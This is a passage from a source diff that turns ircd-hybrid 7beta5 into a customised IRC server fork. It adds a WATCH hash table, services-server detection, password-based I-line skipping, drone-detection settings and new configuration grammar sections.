  * Copyright (C) 1990 Jarkko Oikarinen and
  *                    University of Oulu, Co Center
  *
- * $Id: fileio.c,v 7.16 2001/01/18 09:07:37 ejb Exp $
+ * $Id: fileio.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  *
  * This program is free software; you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
diff -uNrd ircd-hybrid-7beta5/src/hash.c hybrid7-bg/src/hash.c
--- ircd-hybrid-7beta5/src/hash.c	Mon Mar  5 21:05:33 2001
+++ hybrid7-bg/src/hash.c	Wed Jul 24 10:05:38 2002
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: hash.c,v 7.28 2001/03/06 02:05:33 androsyn Exp $
+ *  $Id: hash.c,v 1.6 2002/07/24 14:05:38 Administrator Exp $
  */
 
 #include <sys/types.h>
@@ -253,6 +253,59 @@
   ++clientTable[hashv].hits;
 }
 
+void clear_svs_client_hash_table()
+{
+  int i;
+  struct Client* tmp;
+
+  for (i=0; i < U_MAX; i++)
+    if (tmp = (struct Client*)clientTable[i].list)
+      for (; tmp; tmp = tmp->hnext)
+	tmp->svsflags = 0;
+}
+
+int services_present()
+{
+  int i;
+  struct Client* tmp;
+
+  for (i=0; i < U_MAX; i++)
+    if (tmp = (struct Client*)clientTable[i].list)
+      for (; tmp; tmp = tmp->hnext)
+	if (IsServer(tmp))
+          if (find_z_conf(tmp->name))
+            return 1;
+  
+  return 0;
+}
+
+struct Client* find_services()
+{
+  unsigned int hashv;
+  struct ConfItem *aconf;
+  struct Client *tmp;
+
+  extern struct ConfItem *z_conf;
+  for (aconf = z_conf; aconf; aconf = aconf->next)
+    {
+      if (BadPtr(aconf->name))
+	continue;
+
+      hashv = hash_nick_name(aconf->name);
+      tmp = (struct Client*) clientTable[hashv].list;
+
+      for (; tmp; tmp = tmp->hnext)
+	{
+	  if (!IsServer(tmp)) 
+	    continue;
+	  if (irccmp(aconf->name, tmp->name) == 0)
+	    return tmp;
+	}
+    }
+
+  return NULL;
+}
+
 /*
  * add_to_channel_hash_table
  */
@@ -554,4 +607,305 @@
   ++chmiss;
 #endif
   return chptr;
+}
+
+/*
+ *	shamelessly stolen from bahamut				
+ *						-demond
+ */
+
+/*
+ * Rough figure of the datastructures for notify:
+ *
+ * NOTIFY HASH      cptr1
+ *   |                |- nick1
+ * nick1-|- cptr1     |- nick2
+ *   |   |- cptr2                cptr3
+ *   |   |- cptr3   cptr2          |- nick1
+ *   |                |- nick1
+ * nick2-|- cptr2     |- nick2
+ *       |- cptr1
+ *
+ * add-to-notify-hash-table:
+ * del-from-notify-hash-table:
+ * hash-del-notify-list:
+ * hash-check-notify:
+ * hash-get-notify:
+ */
+
+static   aWatch  *watchTable[WATCHHASHSIZE];
+
+void  count_watch_memory(int *count, u_long *memory)
+{
+    int   i = WATCHHASHSIZE;
+    aWatch  *anptr;
+    
+    
+    while (i--)
+    {
+	anptr = watchTable[i];
+	while (anptr)
+	{
+	    (*count)++;
+	    (*memory) += sizeof(aWatch)+strlen(anptr->nick);
+	    anptr = anptr->hnext;
+	}
+    }
+}
+
+void clear_watch_hash_table(void)
+{
+    memset((char *)watchTable, '\0', sizeof(watchTable));
+}
+
+
+/* add_to_watch_hash_table */
+int   add_to_watch_hash_table(char *nick, aClient *cptr)
+{
+    int   hashv;
+    aWatch  *anptr;
+    Link  *lp;
+    
+    
+    /* Get the right bucket... */
+    hashv = hash_nick_name(nick)%WATCHHASHSIZE;
+    
+    /* Find the right nick (header) in the bucket, or NULL... */
+    if ((anptr = (aWatch *)watchTable[hashv]))
+	while (anptr && irccmp(anptr->nick, nick))
+	    anptr = anptr->hnext;
+    
+    /* If found NULL (no header for this nick), make one... */
+    if (!anptr)
+    {
+	anptr = (aWatch *)MyMalloc(sizeof(aWatch)+strlen(nick));
+	anptr->lasttime = CurrentTime;
+	strcpy(anptr->nick, nick);
+	
+	anptr->watch = NULL;
+	
+	anptr->hnext = watchTable[hashv];
+	watchTable[hashv] = anptr;
+    }
+    /* Is this client already on the watch-list? */
+    if ((lp = anptr->watch))
+	while (lp && (lp->value.cptr != cptr))
+	    lp = lp->next;
+    
+    /* No it isn't, so add it in the bucket and client addint it */
+    if (!lp)
+    {
+	lp = anptr->watch;
+	anptr->watch = (Link *)MyMalloc(sizeof(Link));
+	anptr->watch->value.cptr = cptr;
+	anptr->watch->next = lp;
+	
+	lp = (Link *)MyMalloc(sizeof(Link));
+	lp->next = cptr->watch;
+	lp->value.wptr = anptr;
+	cptr->watch = lp;
+	cptr->watches++;
+    }
+    
+    return 0;
+}
+
+/* hash_check_watch */
+int hash_check_watch(aClient *cptr, int reply)
+{
+    int   hashv;
+    aWatch  *anptr;
+    Link  *lp;
+    
+    
+    /* Get us the right bucket */
+    hashv = hash_nick_name(cptr->name)%WATCHHASHSIZE;
+	
+    /* Find the right header in this bucket */
+    if ((anptr = (aWatch *)watchTable[hashv]))
+	while (anptr && irccmp(anptr->nick, cptr->name))
+	    anptr = anptr->hnext;
+    if (!anptr)
+	return 0;   /* This nick isn't on watch */
+    
+    /* Update the time of last change to item */
+    anptr->lasttime = CurrentTime;
+    
+    /* Send notifies out to everybody on the list in header */
+    for (lp = anptr->watch; lp; lp = lp->next)
+	sendto_one(lp->value.cptr, form_str(reply), me.name,
+		   lp->value.cptr->name, cptr->name,
+		   (IsPerson(cptr)?cptr->username:"<N/A>"),
+		   (IsPerson(cptr)?cptr->host:"<N/A>"),
+		   anptr->lasttime, cptr->info);
+    
+    return 0;
+}
+
+/* hash_get_watch */
+aWatch  *hash_get_watch(char *name)
+{
+    int   hashv;
+    aWatch  *anptr;
+    
+    
+    hashv = hash_nick_name(name)%WATCHHASHSIZE;
+    
+    if ((anptr = (aWatch *)watchTable[hashv]))
+	while (anptr && irccmp(anptr->nick, name))
+	    anptr = anptr->hnext;
+    
+    return anptr;
+}
+
+/* del_from_watch_hash_table */
+int   del_from_watch_hash_table(char *nick, aClient *cptr)
+{
+    int   hashv;
+    aWatch  *anptr, *nlast = NULL;
+    Link  *lp, *last = NULL;
+    
+    
+    /* Get the bucket for this nick... */
+    hashv = hash_nick_name(nick)%WATCHHASHSIZE;
+    
+    /* Find the right header, maintaining last-link pointer... */
+    if ((anptr = (aWatch *)watchTable[hashv]))
+	while (anptr && irccmp(anptr->nick, nick))
+	{
+	    nlast = anptr;
+	    anptr = anptr->hnext;
+	}
+    if (!anptr)
+	return 0;   /* No such watch */
+    
+    /* Find this client from the list of notifies... with last-ptr. */
+    if ((lp = anptr->watch))
+	while (lp && (lp->value.cptr != cptr))
+	{
+	    last = lp;
+	    lp = lp->next;
+	}
+    if (!lp)
+	return 0;   /* No such client to watch */
+    
+    /* Fix the linked list under header, then remove the watch entry */
+    if (!last)
+	anptr->watch = lp->next;
+    else
+	last->next = lp->next;
+    MyFree(lp);
+    
+    /* Do the same regarding the links in client-record... */
+    last = NULL;
+    if ((lp = cptr->watch))
+	while (lp && (lp->value.wptr != anptr))
+	{
+	    last = lp;
+	    lp = lp->next;
+	}
+    
+    /*
+     * Give error on the odd case... probobly not even neccessary
+     * No error checking in ircd is unneccessary ;) -Cabal95
+     */
+    if (!lp)
+	sendto_realops_flags(FLAGS_DEBUG, "WATCH debug error: del_from_watch_hash_table "
+		   "found a watch entry with no client "
+		   "counterpoint processing nick %s on client %s!",
+		   nick, cptr->user);
+    else
+    {
+	if (!last) /* First one matched */
+	    cptr->watch = lp->next;
+	else
+	    last->next = lp->next;
+	MyFree(lp);
+    }
+    /* In case this header is now empty of notices, remove it */
+    if (!anptr->watch)
+    {
+	if (!nlast)
+	    watchTable[hashv] = anptr->hnext;
+	else
+	    nlast->hnext = anptr->hnext;
+	MyFree(anptr);
+    }
+    
+    /* Update count of notifies on nick */
+    cptr->watches--;
+    
+    return 0;
+}
+
+/* hash_del_watch_list */
+int   hash_del_watch_list(aClient *cptr)
+{
+    int   hashv;
+    aWatch  *anptr;
+    Link  *np, *lp, *last;
+    
+    
+    if (!(np = cptr->watch))
+	return 0;   /* Nothing to do */
+    
+    cptr->watch = NULL; /* Break the watch-list for client */
+    while (np)
+    {
+	/* Find the watch-record from hash-table... */
+	anptr = np->value.wptr;
+	last = NULL;
+	for (lp = anptr->watch; lp && (lp->value.cptr != cptr);
+	     lp = lp->next)
+	    last = lp;
+	
+	/* Not found, another "worst case" debug error */
+	if (!lp)
+	    sendto_realops_flags(FLAGS_DEBUG, "WATCH Debug error: hash_del_watch_list "
+		       "found a WATCH entry with no table "
+		       "counterpoint processing client %s!",
+		       cptr->name);
+	else
+	{
+	    /* Fix the watch-list and remove entry */
+	    if (!last)
+		anptr->watch = lp->next;
+	    else
+		last->next = lp->next;
+	    MyFree(lp);
+	    
+	    /*
+	     * If this leaves a header without notifies,
+	     * remove it. Need to find the last-pointer!
+	     */
+	    if (!anptr->watch)
+	    {
+		aWatch  *np2, *nl;
+		
+		hashv = hash_nick_name(anptr->nick)%WATCHHASHSIZE;
+		
+		nl = NULL;
+		np2 = watchTable[hashv];
+		while (np2 != anptr)
+		{
+		    nl = np2;
+		    np2 = np2->hnext;
+		}
+		
+		if (nl)
+		    nl->hnext = anptr->hnext;
+		else
+		    watchTable[hashv] = anptr->hnext;
+		MyFree(anptr);
+	    }
+	}
+	
+	lp = np; /* Save last pointer processed */
+	np = np->next; /* Jump to the next pointer */
+	MyFree(lp); /* Free the previous */
+    }
+    
+    cptr->watches = 0;
+    
+    return 0;
 }
diff -uNrd ircd-hybrid-7beta5/src/hook.c hybrid7-bg/src/hook.c
--- ircd-hybrid-7beta5/src/hook.c	Thu May 10 02:30:44 2001
+++ hybrid7-bg/src/hook.c	Tue Jun  5 12:35:46 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: hook.c,v 7.7 2001/05/10 06:30:44 a1kmm Exp $
+ * $Id: hook.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 
 /* hooks are used by modules to hook into events called by other parts of
diff -uNrd ircd-hybrid-7beta5/src/hostmask.c hybrid7-bg/src/hostmask.c
--- ircd-hybrid-7beta5/src/hostmask.c	Mon May  7 17:27:17 2001
+++ hybrid7-bg/src/hostmask.c	Mon Jul  2 00:12:16 2001
@@ -16,7 +16,7 @@
  *  You should have received a copy of the GNU General Public License
  *  along with this program; if not, write to the Free Software
  *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
- * $Id: hostmask.c,v 7.38 2001/05/07 21:27:17 fl_ Exp $ 
+ * $Id: hostmask.c,v 1.2 2001/07/02 04:12:16 demond Exp $ 
  */
  
 #include <stdlib.h>
@@ -362,7 +362,7 @@
  */
 struct ConfItem*
 find_conf_by_address(const char *name, struct irc_inaddr *addr, int type,
-                     int fam, const char *username)
+                     int fam, const char *username, char *passwd)
 {
  unsigned long hprecv = 0;
  struct ConfItem *hprec = NULL;
@@ -386,6 +386,8 @@
          arec->precedence > hprecv
         )
       {
+	if (passwd && IsConfSkipOnPassFail(arec->aconf) && !BadPtr(arec->aconf->passwd) && strcmp(passwd, arec->aconf->passwd))
+	  continue;
        hprecv = arec->precedence;
        hprec = arec->aconf;
       }
@@ -404,6 +406,8 @@
          arec->precedence > hprecv
         )
       {
+	if (passwd && IsConfSkipOnPassFail(arec->aconf) && !BadPtr(arec->aconf->passwd) && strcmp(passwd, arec->aconf->passwd))
+	  continue;
        hprecv = arec->precedence;
        hprec = arec->aconf;
       }
@@ -422,6 +426,8 @@
         (arec->precedence > hprecv)
        )
     {
+      if (passwd && IsConfSkipOnPassFail(arec->aconf) && !BadPtr(arec->aconf->passwd) && strcmp(passwd, arec->aconf->passwd))
+	continue;
      hprecv = arec->precedence;
      hprec = arec->aconf;
     }
@@ -433,6 +439,8 @@
        arec->precedence > hprecv
       )
    {
+     if (passwd && IsConfSkipOnPassFail(arec->aconf) && !BadPtr(arec->aconf->passwd) && strcmp(passwd, arec->aconf->passwd))
+       continue;
     hprecv = arec->precedence;
     hprec = arec->aconf;
    }
@@ -448,17 +456,17 @@
  */
 struct ConfItem*
 find_address_conf(const char *host, const char *user,
-                  struct irc_inaddr *ip, int aftype)
+                  struct irc_inaddr *ip, int aftype, char *passwd)
 {
  struct ConfItem *iconf, *kconf;
  /* Find the best I-line... If none, return NULL -A1kmm */
- if (!(iconf = find_conf_by_address(host, ip, CONF_CLIENT, aftype, user)))
+ if (!(iconf = find_conf_by_address(host, ip, CONF_CLIENT, aftype, user, passwd)))
   return NULL;
  /* If they are exempt from K-lines, return the best I-line. -A1kmm */
  if (IsConfExemptKline(iconf))
   return iconf;
  /* Find the best K-line... -A1kmm */
- kconf = find_conf_by_address(host, ip, CONF_KILL, aftype, user);
+ kconf = find_conf_by_address(host, ip, CONF_KILL, aftype, user, NULL);
  /* If they are K-lined, return the K-line. Otherwise, return the
   * I-line. -A1kmm */
  if (kconf)
@@ -476,8 +484,8 @@
 {
  struct ConfItem *eline, *dline;
  eline = find_conf_by_address(NULL, addr, CONF_EXEMPTDLINE|1, aftype,
-                              NULL);
- dline = find_conf_by_address(NULL, addr, CONF_DLINE|1, aftype, NULL);
+                              NULL, NULL);
+ dline = find_conf_by_address(NULL, addr, CONF_DLINE|1, aftype, NULL, NULL);
  return dline ? (eline ? eline : dline) : NULL;
 }
 
diff -uNrd ircd-hybrid-7beta5/src/irc_string.c hybrid7-bg/src/irc_string.c
--- ircd-hybrid-7beta5/src/irc_string.c	Tue Apr 24 22:42:58 2001
+++ hybrid7-bg/src/irc_string.c	Tue Jun  5 12:35:46 2001
@@ -16,7 +16,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *  $Id: irc_string.c,v 7.29 2001/04/25 02:42:58 androsyn Exp $
+ *  $Id: irc_string.c,v 1.1.1.1 2001/06/05 16:35:46 demond Exp $
  */
 #include "config.h"
 #include "tools.h"
diff -uNrd ircd-hybrid-7beta5/src/ircd.c hybrid7-bg/src/ircd.c
--- ircd-hybrid-7beta5/src/ircd.c	Wed May  9 04:08:26 2001
+++ hybrid7-bg/src/ircd.c	Thu Jul 11 15:12:36 2002
@@ -17,13 +17,14 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: ircd.c,v 7.141 2001/05/09 08:08:26 a1kmm Exp $
+ * $Id: ircd.c,v 1.8 2002/07/11 19:12:36 Administrator Exp $
  */
 
 #include <sys/types.h>
 #include <sys/file.h>
 #include <sys/stat.h>
 #include <sys/socket.h>
+#include <sys/resource.h>
 
 #include <stdlib.h>
 #include <string.h>
@@ -212,6 +213,8 @@
         }
 
       limit.rlim_cur = limit.rlim_max; /* make soft limit the max */
+      printf("Value of limit.rlim_max is %ld\n", (long)limit.rlim_max);
+
       if (setrlimit(RLIMIT_FD_MAX, &limit) == -1)
         {
           fprintf(stderr,"error setting max fd's to %ld\n",
@@ -220,6 +223,13 @@
         }
       printf("Value of NOFILE is %d\n", NOFILE);
     }
+
+  if (!getrlimit(RLIMIT_CORE, &limit))
+    {
+      limit.rlim_cur = limit.rlim_max;
+      if (!setrlimit(RLIMIT_CORE, &limit))
+	printf("Value of corefile size is %lu\n", (unsigned long)limit.rlim_cur);
+    }
 #endif        /* RLIMIT_FD_MAX */
 }
 
@@ -596,10 +606,19 @@
  eventAdd("cleanup_channels", cleanup_channels, NULL,
           CLEANUP_CHANNELS_TIME, 0);
 
+ eventAdd("pace_channels", pace_channels, NULL, PACE_CHANNELS_TIME, 0);
+
+ eventAdd("check_warn_drone", check_warn_drone, NULL, CHECK_DRONE_TIME, 0);
+
+ eventAdd("check_drone_queue", check_drone_queue, NULL, 
+		ConfigFileEntry.drone_rate_period, 0);
+
  eventAdd("cleanup_glines", cleanup_glines, NULL, CLEANUP_GLINES_TIME, 0);
   
  eventAdd("cleanup_tklines", cleanup_tklines, NULL, CLEANUP_TKLINES_TIME,
           0);
+
+ eventAdd("purge_repeats", purge_repeats, NULL, ConfigFileEntry.repeat_grace, 0);
   
 #ifdef OPENSSL
  eventAdd("cryptlink_regen_key", cryptlink_regen_key, NULL,
@@ -613,6 +632,8 @@
 
  /* Setup the timeout check. I'll shift it later :)  -- adrian */
  eventAdd("comm_checktimeouts", comm_checktimeouts, NULL, 1, 0);
+
+ fflush(stdout);
  
  ServerRunning = 1;
  io_loop(delay);
diff -uNrd ircd-hybrid-7beta5/src/ircd_lexer.l hybrid7-bg/src/ircd_lexer.l
--- ircd-hybrid-7beta5/src/ircd_lexer.l	Mon May  7 11:50:32 2001
+++ hybrid7-bg/src/ircd_lexer.l	Fri Jul 19 00:23:19 2002
@@ -18,7 +18,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: ircd_lexer.l,v 1.94 2001/05/07 15:50:32 toot Exp $
+ * $Id: ircd_lexer.l,v 1.19 2002/07/19 04:23:19 Administrator Exp $
  */
 
 %option case-insensitive
@@ -112,6 +112,8 @@
 compressed	{ return COMPRESSED; }
 connect		{ return CONNECT; }
 connectfreq     { return CONNECTFREQ; }
+cyrillic        { return CYRILLIC; }
+totaltrans      { return TOTALTRANS; }
 default_floodcount  { return DEFAULT_FLOODCOUNT; }
 deny		{ return DENY; }
 description	{ return DESCRIPTION; }
@@ -125,6 +127,7 @@
 fname_userlog   { return FNAME_USERLOG; }
 fname_operlog   { return FNAME_OPERLOG; }
 fname_foperlog  { return FNAME_FOPERLOG; }
+netid		{ return NETID; }
 gecos		{ return GECOS; }
 general		{ return GENERAL; }
 gline		{ return GLINE; }
@@ -136,6 +139,7 @@
 have_ident	{ return HAVE_IDENT; }
 hide_server	{ return HIDESERVER; }
 host		{ return HOST; }
+maskhost	{ return MASKHOST; }
 hub		{ return HUB; }
 hub_mask	{ return HUB_MASK; }
 persistant_expire_time { return PERSISTANT_EXPIRE_TIME; }
@@ -195,9 +199,11 @@
 send_password	{ return SEND_PASSWORD; }
 sendq		{ return SENDQ; }
 serverinfo	{ return SERVERINFO; }
+services        { return SERVICES; }
 silent          { return SILENT; }
 shared          { return SHARED; }
 short_motd      { return SHORT_MOTD; }
+skip_on_fail    { return SKIP_ON_FAIL; }
 spoof		{ return SPOOF; }
 spoof_notice	{ return SPOOF_NOTICE; }
 unkline		{ return UNKLINE; }
@@ -207,6 +213,22 @@
 vhost		{ return VHOST; }
 warn		{ return WARN; }
 yes		{ return TYES; }
+equivalent      { return EQUIVALENT; }
+nicks           { return NICKS; }
+relays          { return RELAYS; }
+userpar			{ return USERPAR; }
+param			{ return PARAM; }
+dummy           { return DUMMY; }
+
+drone_rate_max		{ return DRONE_RATE_MAX; }
+drone_rate_period	{ return DRONE_RATE_PERIOD; }
+drone_kline			{ return DRONE_KLINE; }
+drone_batch			{ return DRONE_BATCH; }
+drone_kline_time	{ return DRONE_KLINE_TIME; }
+drone_reason		{ return DREASON; }
+spam_wait			{ return SPAM_WAIT; }
+repeat_grace		{ return REPEAT_GRACE; }
+spawn_pass			{ return SPAWN_PASS; }
 
 failed_oper_notice      { return FAILED_OPER_NOTICE; }
 max_accept              { return MAX_ACCEPT; }
@@ -217,6 +239,7 @@
 ts_max_delta            { return TS_MAX_DELTA; }
 ts_warn_delta           { return TS_WARN_DELTA; }
 links_delay           { return LINKS_DELAY; }
+grace_time				{ return GRACE_TIME; }
 kline_with_connection_closed { return KLINE_WITH_CONNECTION_CLOSED; }
 kline_with_reason       { return KLINE_WITH_REASON; }
 warn_no_nline           { return WARN_NO_NLINE; }
@@ -242,6 +265,7 @@
 full                    { return T_FULL; }
 skill                   { return T_SKILL; }
 nchange                 { return T_NCHANGE; }
+rconn					{ return T_REMOTE; }
 rej                     { return T_REJ; }
 unauth                  { return T_UNAUTH; }
 spy                     { return T_SPY; }
diff -uNrd ircd-hybrid-7beta5/src/ircd_parser.y hybrid7-bg/src/ircd_parser.y
--- ircd-hybrid-7beta5/src/ircd_parser.y	Mon May  7 11:50:32 2001
+++ hybrid7-bg/src/ircd_parser.y	Fri Jul 19 00:23:19 2002
@@ -18,7 +18,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: ircd_parser.y,v 1.166 2001/05/07 15:50:32 toot Exp $
+ * $Id: ircd_parser.y,v 1.20 2002/07/19 04:23:19 Administrator Exp $
  */
 
 %{
@@ -103,6 +103,8 @@
 %token  COMPRESSED
 %token  CONNECT
 %token  CONNECTFREQ
+%token  CYRILLIC
+%token  TOTALTRANS
 %token  DEFAULT_FLOODCOUNT
 %token  DENY
 %token  DESCRIPTION
@@ -116,6 +118,7 @@
 %token  FNAME_USERLOG
 %token  FNAME_OPERLOG
 %token  FNAME_FOPERLOG
+%token  NETID
 %token  GECOS
 %token  GLINE
 %token  GLINES
@@ -125,6 +128,8 @@
 %token  GLOBAL_KILL
 %token  HAVE_IDENT
 %token  HOST
+%token  MASKHOST
+%token  SKIP_ON_FAIL
 %token  HUB
 %token  HUB_MASK
 %token  IDLETIME
@@ -171,6 +176,7 @@
 %token  SENDQ
 %token  SEND_PASSWORD
 %token  SERVERINFO
+%token  SERVICES
 %token  SHARED
 %token  SPOOF
 %token  SPOOF_NOTICE
@@ -225,6 +231,7 @@
 %token  T_SKILL
 %token  T_LOCOPS
 %token  T_NCHANGE
+%token	T_REMOTE
 %token  T_REJ
 %token  T_UNAUTH
 %token  T_SPY
@@ -240,12 +247,30 @@
 %token  MAX_TARGETS
 %token  T_MAX_CLIENTS
 %token  LINKS_DELAY
+%token	GRACE_TIME
 %token  VCHANS_OPER_ONLY
 %token  MIN_NONWILDCARD
 %token  DISABLE_VCHANS
 %token  SECONDS MINUTES HOURS DAYS WEEKS MONTHS YEARS DECADES CENTURIES MILLENNIA
 %token  BYTES KBYTES MBYTES GBYTES TBYTES
 
+%token  EQUIVALENT
+%token  NICKS
+%token  RELAYS
+%token	USERPAR
+%token	PARAM
+%token  DUMMY
+
+%token	DRONE_RATE_MAX
+%token	DRONE_RATE_PERIOD
+%token	DRONE_KLINE
+%token	DRONE_BATCH
+%token	DRONE_KLINE_TIME
+%token	DREASON
+%token	SPAM_WAIT
+%token	REPEAT_GRACE
+%token	SPAWN_PASS
+
 %left '-' '+'
 %left '*' '/'
 %left NEG
@@ -270,13 +295,17 @@
                 | serverinfo_entry
                 | quarantine_entry
                 | shared_entry
+                | services_entry
                 | connect_entry
                 | kill_entry
                 | deny_entry
-		| exempt_entry
-		| general_entry
+				| exempt_entry
+				| general_entry
                 | gecos_entry
                 | modules_entry
+                | equivalent_entry
+                | relays_entry
+                | userpar_entry
                 | error ';'
                 | error '}'
         ;
@@ -398,13 +427,13 @@
 
 modules_entry:          MODULES
   '{' modules_items '}' ';'
-
+;
 modules_items:   modules_items modules_item |
                     modules_item
-
+;
 modules_item:    modules_module | modules_path |
                  error
-
+;
 modules_module:  MODULE '=' QSTRING ';'
 {
 #ifndef STATIC_MODULES /* NOOP in the static case */
@@ -437,17 +466,17 @@
 
 serverinfo_entry:       SERVERINFO
   '{' serverinfo_items '}' ';'
-
+;
 serverinfo_items:       serverinfo_items serverinfo_item |
                         serverinfo_item 
-
+;
 serverinfo_item:        serverinfo_name | serverinfo_vhost |
                         serverinfo_hub | serverinfo_description |
                         serverinfo_network_name | serverinfo_network_desc |
                         serverinfo_max_clients | serverinfo_no_hack_ops |
                         serverinfo_rsa_private_key |
 			error
-
+;
 serverinfo_rsa_private_key: RSA_PRIVATE_KEY '=' QSTRING ';'
   {
 #ifdef OPENSSL
@@ -486,7 +515,7 @@
       "Ignoring config file entry rsa_private_key -- no OpenSSL support");
 #endif
   }
-
+;
 serverinfo_no_hack_ops: NO_HACK_OPS '=' TYES ';'
   {
     ServerInfo.no_hack_ops = 1;
@@ -579,13 +608,13 @@
  ***************************************************************************/
 
 admin_entry: ADMIN  '{' admin_items '}' ';' 
-
+;
 admin_items:    admin_items admin_item |
                 admin_item
-
+;
 admin_item:     admin_name | admin_description |
                 admin_email | error
-
+;
 admin_name:     NAME '=' QSTRING ';' 
   {
     MyFree(AdminInfo.name);
@@ -609,14 +638,14 @@
  ***************************************************************************/
 
 logging_entry:          LOGGING  '{' logging_items '}' ';' 
-
+;
 logging_items:          logging_items logging_item |
                         logging_item 
-
+;
 logging_item:           logging_path | logging_oper_log |
                         logging_gline_log | logging_log_level |
 			error
-
+;
 logging_path:           T_LOGPATH '=' QSTRING ';' 
                         {
                         };
@@ -711,12 +740,12 @@
 
 oper_items:     oper_items oper_item |
                 oper_item
-
+;
 oper_item:      oper_name  | oper_user | oper_password |
                 oper_class | oper_global_kill | oper_remote |
                 oper_kline | oper_unkline | oper_gline | oper_nick_changes |
                 oper_die | oper_rehash | oper_admin | error
-
+;
 oper_name:      NAME '=' QSTRING ';'
   {
     MyFree(yy_achead->name);
@@ -835,7 +864,7 @@
 
 class_items:    class_items class_item |
                 class_item
-
+;
 class_item:     class_name |
                 class_ping_time |
                 class_number_per_ip |
@@ -843,7 +872,7 @@
                 class_max_number |
                 class_sendq |
 		error
-
+;
 class_name:     NAME '=' QSTRING ';' 
   {
     MyFree(class_name_var);
@@ -875,6 +904,81 @@
     class_sendq_var = $3;
   };
 
+/***************************************************************************
+ *  section equivalent, defines equivalent nicks          -demond
+ ***************************************************************************/
+
+equivalent_entry:   EQUIVALENT
+  {
+  }
+  '{' equivalent_items '}' ';'
+  {
+  };
+
+equivalent_items:   equivalent_items equivalent_item |
+                    equivalent_item
+;
+equivalent_item:    equivalent_nicks | equivalent_dummy | error
+;
+equivalent_nicks:   NICKS '=' QSTRING ';'
+  {
+    add_equiv_nicks(yylval.string);
+  };
+
+equivalent_dummy:   DUMMY '=' expr ';'
+  {
+  };
+
+/***************************************************************************
+ *  section relays, defines relay pseudo servers          -demond
+ ***************************************************************************/
+
+relays_entry:       RELAYS
+  {
+  }
+  '{' relays_items '}' ';'
+  {
+  };
+
+relays_items:       relays_items relays_item |
+                    relays_item
+;
+relays_item:        relay_server | relay_dummy | error
+;
+relay_server:       NAME '=' QSTRING ';'
+  {
+    add_relay_server(yylval.string);
+  };
+
+relay_dummy:        DUMMY '=' expr ';'
+  {
+  };
+
+/***************************************************************************
+ *  section userpar, defines USER constant parameters 
+ *  by various clients, mostly Java applets                    -demond
+ ***************************************************************************/
+
+userpar_entry:      USERPAR
+  {
+  }
+  '{' userpar_items '}' ';'
+  {
+  };
+
+userpar_items:      userpar_items userpar_item |
+                    userpar_item
+;
+userpar_item:       userpar_param | userpar_dummy | error
+;
+userpar_param:      PARAM '=' QSTRING ';'
+  {
+    add_userpar_param(yylval.string);
+  };
+
+userpar_dummy:      DUMMY '=' expr ';'
+  {
+  };
 
 /***************************************************************************
  *  section listen
@@ -892,9 +996,9 @@
 
 listen_items:   listen_items listen_item |
                 listen_item
-
+;
 listen_item:    listen_port | listen_address | listen_host | error
-
+;
 listen_port:    PORT '=' expr ';'
   {
     add_listener($3, listener_address);
@@ -986,14 +1090,14 @@
 
 auth_items:     auth_items auth_item |
                 auth_item
-
+;
 auth_item:      auth_user | auth_passwd | auth_class |
                 auth_kline_exempt | auth_have_ident | auth_is_restricted |
                 auth_exceed_limit | auth_no_tilde | auth_gline_exempt |
                 auth_spoof | auth_spoof_notice |
                 auth_redir_serv | auth_redir_port | auth_persistant |
-                error
-
+                auth_maskhost | auth_skipfail | error
+;
 auth_user:   USER '=' QSTRING ';'
   {
     char *p;
@@ -1147,6 +1251,24 @@
    yy_achead->flags &= CONF_FLAGS_PERSISTANT;
   };
 
+auth_maskhost: MASKHOST '=' TYES ';'
+  {
+   yy_achead->flags |= CONF_FLAGS_MASKHOST;
+  }
+  |            MASKHOST '=' TNO ';'
+  {
+   yy_achead->flags &= CONF_FLAGS_MASKHOST;
+  };
+
+auth_skipfail: SKIP_ON_FAIL '=' TYES ';'
+  {
+   yy_achead->flags |= CONF_FLAGS_SKIPFAIL;
+  }
+  |            SKIP_ON_FAIL '=' TNO ';'
+  {
+   yy_achead->flags &= CONF_FLAGS_SKIPFAIL;
+  };
+
 /***************************************************************************
  *  section quarantine
  ***************************************************************************/
@@ -1169,9 +1291,9 @@
 
 quarantine_items:       quarantine_items quarantine_item |
 			quarantine_item
-
+;
 quarantine_item:        quarantine_name | quarantine_reason | error
-
+;
 quarantine_name:        NAME '=' QSTRING ';'
   {
     MyFree(yy_aconf->name);
@@ -1209,9 +1331,9 @@
 
 shared_items:		shared_items shared_item |
 			shared_item
-
+;
 shared_item:		shared_name | shared_user | shared_host | error
-
+;
 shared_name:		NAME '=' QSTRING ';'
   {
     MyFree(yy_aconf->name);
@@ -1231,6 +1353,53 @@
   };
 
 /***************************************************************************
+ *  section services, for defining which servers
+ *  are to be treated specially (as services)       -demond 
+ ***************************************************************************/
+
+services_entry:		SERVICES
+  {
+    if(yy_aconf != NULL)
+      {
+        free_conf(yy_aconf);
+        yy_aconf = NULL;
+      }
+    yy_aconf=make_conf();
+    yy_aconf->status = CONF_ZLINE;
+    yy_aconf->name = NULL;
+    yy_aconf->user = NULL;
+    yy_aconf->host = NULL;
+  }
+  '{' services_items '}' ';'
+  {
+    conf_add_z_conf(yy_aconf);
+    yy_aconf = (struct ConfItem *)NULL;
+  };
+
+services_items:		services_items services_item |
+			services_item
+;
+services_item:		services_name | services_user | services_host | error
+;
+services_name:		NAME '=' QSTRING ';'
+  {
+    MyFree(yy_aconf->name);
+    DupString(yy_aconf->name, yylval.string);
+  };
+
